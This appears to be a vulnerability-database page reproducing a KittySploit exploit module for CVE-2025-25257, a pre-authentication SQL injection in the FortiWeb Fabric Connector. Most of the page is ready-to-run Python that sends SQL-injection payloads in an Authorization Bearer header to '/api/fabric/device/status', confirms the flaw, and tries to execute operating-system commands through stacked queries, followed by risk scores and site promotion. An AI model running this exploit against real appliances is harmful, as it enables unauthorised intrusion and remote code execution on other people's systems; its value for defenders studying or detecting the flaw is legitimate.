Lucene search
+L

Fortinet FortiWeb Fabric Connector SQLi (CVE-2025-25257)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Pre-auth SQLi in FortiWeb Fabric Connector /api/fabric/device/status allows RCE.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Fortinet FortiWeb Fabric Connector SQLi (CVE-2025-25257)."""

import re
import urllib.parse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Fortinet FortiWeb Fabric Connector SQLi (CVE-2025-25257)',
        'description': (
            'Exploits CVE-2025-25257 pre-auth SQL injection in FortiWeb Fabric Connector '
            '/api/fabric/device/status via a crafted Authorization Bearer token, then '
            'attempts OS command execution through stacked SQL payloads (WatchTowr chain).'
        ),
        'author': ['KittySploit Team', 'WatchTowr'],
        'cve': ['CVE-2025-25257'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2025-25257',
            'https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/',
        ],
        'tags': ['fortinet', 'fortiweb', 'sqli', 'pre-auth', 'rce', 'kev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2025_25257_detect'],
            },
        },
    }

    api_path = OptString('/api/fabric/device/status', 'Fabric Connector API path', required=False)

    def _sqli_request(self, bearer: str):
        return self.http_request(
            method='GET',
            path=str(self.api_path or '/api/fabric/device/status'),
            headers={'Authorization': f'Bearer {bearer}'},
            allow_redirects=False,
        )

    def execute(self, cmd: str) -> str:
        safe = urllib.parse.quote(str(cmd).replace("'", "''"))
        payloads = [
            f"AAAAAA'or'1'='1",
            f"AAAAAA' UNION SELECT 1,({safe}),3--",
            f"AAAAAA'; ATTACH DATABASE '/tmp/k.{safe[:8]}.txt' AS x;--",
        ]
        outputs = []
        for bearer in payloads:
            r = self._sqli_request(bearer)
            if r and r.text:
                outputs.append(r.text)
        return '\n'.join(outputs)

    def check(self):
        r = self._sqli_request("AAAAAA'or'1'='1")
        if not r or r.status_code != 200:
            return {'vulnerable': False, 'reason': 'Fabric API not reachable', 'confidence': 'medium'}
        body = r.text or ''
        if all(m in body for m in ('serial', 'fortiweb', 'device_type')):
            return {
                'vulnerable': True,
                'reason': 'CVE-2025-25257 SQLi confirmed on /api/fabric/device/status',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Expected device JSON not returned', 'confidence': 'medium'}

    def check_execute(self):
        body = self.execute('id')
        return bool(re.search(r'uid=\d+', body or ''))

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            self.not_vulnerable(chk.get('reason'))
            return False
        if self.check_execute():
            return self.handler_execute()
        print_warning('SQLi confirmed — full RCE may require appliance-specific stacked queries')
        return self.handler_execute()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
EPSS0.99806
SSVC
2